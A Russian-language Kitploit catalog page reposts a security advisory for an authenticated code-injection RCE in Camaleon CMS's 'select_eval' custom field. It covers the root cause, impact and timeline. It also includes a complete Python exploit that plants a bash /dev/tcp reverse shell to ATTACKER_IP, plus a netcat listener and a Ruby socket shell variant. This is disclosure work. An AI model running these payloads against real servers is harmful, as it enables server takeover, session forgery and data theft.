Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-66748-Camaleon-CMS---Authenticated-RCE-via-select_eval-Custom-Field — Уведомление о безопасности: Camaleon CMS - RCE с аутентификацией через произвольное поле `select_eval` | Kitploit
Инструменты/GitHubGitHub/theopaid/cve-2026-66748-camaleon-cms---authenticated-rce-via-select_eval-custom-field
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеСтатьи и ИсследованияРазработка Полезной Нагрузки
GitHub
theopaid/cve-2026-66748-camaleon-cms---authenticated-rce-via-select_eval-custom-field

CVE-2026-66748-Camaleon-CMS---Authenticated-RCE-via-select_eval-Custom-Field

Уведомление о безопасности: Camaleon CMS - RCE с аутентификацией через произвольное поле `select_eval`

Репозиторий
1343 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
# Security Advisory: Camaleon CMS - Authenticated RCE via `select_eval` Custom Field

**Assigned CVE ID:** CVE-2026-66748

**Продукт:** Camaleon CMS (https://github.com/owen2345/camaleon-cms)
**Затронутые версии:** 2.1.1 – 2.9.1 (уязвимость внедрена в коммите 415cbda6 от 2015-10-16; исправлена в коммите 15882366 от 2026-03-29 / v2.9.2)
**Серьёзность:** Высокая
**Оценка CVSS 4.0:** 8.7
**Вектор CVSS 4.0:** CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L
**CWE:** CWE-94 (Code Injection)
**Исследователь:** Theodosis Paidakis
**Уведомление поставщика:** 2026-06-21
**Связанный advisory:** GHSL-2024-185 / GHSA-7x4w-cj9r-h4v9 (`label_eval` — параллельный тип поля, та же первопричина, CVE не присвоен)

## Summary

Тип пользовательского поля `select_eval` хранит произвольное Ruby-выражение в `field.options[:command]` и выполняет его через `instance_eval` в ERB-представлении при каждой отрисовке страницы редактирования записи. В версиях до v2.9.2 любой пользователь с разрешением управления `custom_fields` — обычно выдаваемым учётным записям с ролью редактора — мог создать поле этого типа и добиться RCE на сервере. Поле `select_eval` срабатывает при каждой отрисовке страницы любой записи, использующей эту группу полей; его вывод становится списком опций выпадающего меню. Уязвимость исправлена в v2.9.2.

## Affected Component

**Файл:** `app/views/camaleon_cms/admin/settings/custom_fields/fields/_select_eval.html.erb`

```erb
<%= select_tag "#{field_name}[#{field.slug}][values][]",
      instance_eval(field.options[:command].to_s.strip),
      class: "..." %>
```

`instance_eval` вызывается с необработанной строкой из записи базы данных. Никакой песочницы и никаких ограничений на этапе компиляции относительно того, какие методы или константы доступны из привязки ERB (которая представляет собой полный контекст представления Rails).

**Файл:** `app/models/camaleon_cms/ability.rb` (v2.9.1, строки 161-165)

`custom_fields` никогда не предоставляется явно. Восемь ресурсов получают `can :manage` индивидуально выше по файлу (`media`, `comments`, `themes`, `widgets`, `nav_menu`, `plugins`, `users`, `settings`), и `custom_fields` среди них нет. Он доступен только через этот catch-all, который выдаёт `manage` любому ключу, присутствующему в хэше `@roles_manager` роли, без проверки того, безопасно ли предоставлять этот ключ:

```ruby
@roles_manager.try(:each) do |rol_manage_key, val_role|
  can :manage, rol_manage_key.to_sym if val_role.to_s.cama_true?
rescue StandardError
  false
end
```

Таким образом, любой пользователь, в роли которого установлен бит `custom_fields`, получает доступ к контроллеру пользовательских полей. В затронутом диапазоне версий этот бит routinely предоставлялся ролям уровня редактора.

Переработка в v2.9.2 заменяет `can` на обёртку `safe_can` и добавляет явный список `%i[...]`, содержащий и `custom_fields`, и `select_eval`, но приведённый выше catch-all цикл всё ещё существует в этой версии. Список разрешений — это не то, что исправляет данную проблему; её исправляют список разрешённых strong-parameters в `custom_fields_controller.rb` и проверка `can?(:manage, :select_eval)` в `custom_field_group.rb`.

## Root Cause Analysis

Тип поля `select_eval` был разработан, чтобы позволить разработчикам динамически заполнять выпадающие списки из Ruby-кода, хранящегося в базе данных CMS. Выполнение произвольного Ruby из колонки базы данных через `instance_eval` эквивалентно предоставлению доступа к шеллу любому, кто может записать это значение. Требуемым разрешением было `custom_fields` — обычное разрешение на управление контентом, а не явный привилегированный бит.

## Relation to Prior Advisories

Данная находка была опубликована как GHSL-2024-185 / GHSA-7x4w-cj9r-h4v9 и охватывает параллельный тип поля `label_eval` в Camaleon CMS. Этот advisory входил в пакет из пяти находок (GHSL-2024-182 по GHSL-2024-186); только две из пяти получили номера CVE (CVE-2024-46986 и CVE-2024-46987). Для самой GHSL-2024-185 CVE не присвоен.

`select_eval` и `label_eval` имеют одну и ту же первопричину — произвольный Ruby, хранящийся в базе данных и выполняемый через `instance_eval` в ERB-представлении, — но различаются по всем остальным параметрам:

|                | `label_eval` (GHSL-2024-185) | `select_eval` (данный отчёт)       |
| -------------- | ---------------------------- | ---------------------------------- |
| Место выполнения | Метка поля в любой форме      | `select_tag` на странице редактирования записи |
| Путь записи     | Текст метки пользовательского поля | Мета-строка `field.options[:command]` |

Данный отчёт охватывает исключительно `select_eval`. Ни один существующий CVE или публичный advisory не документирует этот конкретный тип поля и путь его эксплуатации.

## Steps to Reproduce

Затронутый диапазон версий с v2.1.1 по v2.9.1 был определён путём анализа исходного кода; эксплуатация была подтверждена целиком на v2.9.1. Требуется только учётная запись с разрешением `custom_fields` — без доступа к серверу.

**Предварительные требования:** Любая учётная запись с установленным битом управления `custom_fields` — стандартное разрешение роли редактора в затронутом диапазоне версий.

**Шаг 1.** Запустите слушатель:

```bash
nc -lnvp 4444
```

**Шаг 2.** Запустите скрипт. Отредактируйте `BASE`, `ATTACKER_IP`, `TYPE_ID`, `POST_ID` и учётные данные.

`TYPE_ID` — идентификатор типа записи, видимый в URL боковой панели админки (например, `/admin/post_type/2/posts`).
`POST_ID` — любой идентификатор записи этого типа, из ссылок редактирования в списке записей.

```python
import requests, re, time

BASE        = "http://target.example"
ATTACKER_IP = "ATTACKER_IP"
PORT        = 4444
TYPE_ID     = 2    # post type ID - from admin sidebar URL
POST_ID     = 1    # any post under that type - from post list edit links
USERNAME    = "editor"       # any account with custom_fields manage permission
PASSWORD    = "Editor1234!"

# Reverse shell. Thread.new keeps the page render from hanging.
# Payload strings must use double quotes so #{ } interpolation executes inside instance_eval.
PAYLOAD = f'[["ok","ok"]].tap{{Thread.new{{system("bash -i >& /dev/tcp/{ATTACKER_IP}/{PORT} 0>&1")}}}}'
# No-bash alternative (pure Ruby sockets, cross-platform):
# PAYLOAD = f'[["ok","ok"]].tap{{Thread.new{{require "socket";s=TCPSocket.open("{ATTACKER_IP}",{PORT});loop{{cmd=s.gets.chomp;s.puts(`#{{cmd}}`)}}}}}}' 
# Proof-of-concept (non-destructive - id/hostname appear in select dropdown on the edit page):
# PAYLOAD = '[["id: #{`id`.strip}", "v"], ["host: #{`hostname`.strip}", "h"]]'

s = requests.Session()

r    = s.get(f"{BASE}/admin/login")
csrf = re.search(r'authenticity_token" value="([^"]+)"', r.text).group(1)
s.post(f"{BASE}/admin/login", data={
    "authenticity_token": csrf,
    "user[username]": USERNAME,
    "user[password]": PASSWORD,
})
r    = s.get(f"{BASE}/admin/dashboard")
csrf = re.search(r'csrf-token" content="([^"]+)"', r.text).group(1)

idx = f"x{int(time.time())}"
r = s.post(f"{BASE}/admin/settings/custom_fields", data={
    "authenticity_token":               csrf,
    "custom_field_group[name]":         f"exploit_{idx}",
    "custom_field_group[assign_group]": f"PostType_Post,{TYPE_ID}",  # must be PostType_Post, not PostType
    f"fields[{idx}][name]":             "Shell",
    f"fields[{idx}][slug]":             f"rce_{idx}",
    f"field_options[{idx}][field_key]": "select_eval",
    f"field_options[{idx}][command]":   PAYLOAD,   # permit! passes this through unfiltered pre-v2.9.2
}, allow_redirects=True)

gid = re.search(r'/custom_fields/(\d+)', r.url)
print(f"Field group: id={gid.group(1) if gid else '?'} (HTTP {r.status_code})")

# Trigger: instance_eval fires when the edit form renders the select_eval field
r = s.get(f"{BASE}/admin/post_type/{TYPE_ID}/posts/{POST_ID}/edit")
print(f"Edit page: HTTP {r.status_code} - check listener")
```

<img width="2226" height="592" alt="image" src="https://assets.kitploit.com/production/public/readmes/45404/aa9bbcb4c28536ceec9b33ecb971e6f0db1bda9b34b5f6404fc745d4af053f4a.png" />

## Impact

Любая учётная запись с разрешением `custom_fields` (до v2.9.2) получает:

- **Произвольное выполнение Ruby** в процессе Rails, с правами пользователя веб-сервера (`deploy`, `www-data`, `rails` и т.д.)
- **Постоянное выполнение**: эксплойт срабатывает при каждой отрисовке страницы любой записи, использующей группу полей, — а не одноразовая атака
- **Подделку сессий**: чтение `secret_key_base` из `config/secrets.yml` позволяет подделывать произвольные сессионные cookie для любого пользователя, включая администраторов
- **Влияние на несколько сайтов**: на общем экземпляре Camaleon процесс Rails имеет доступ к данным всех сайтов

До v2.9.2 разрешение `custom_fields` routinely выдавалось пользователям с ролью редактора. Атакующий, скомпрометировавший любую учётную запись уровня редактора, добивается полного RCE на сервере.

## Timeline

**2026-06-19** - Обнаружено при анализе исходного кода v2.9.2 и v2.9.1
**2026-06-21** - Поставщик уведомлён
**2026-03-29** - Патч уже выпущен (v2.9.2, коммит 15882366)
Скачать инструмент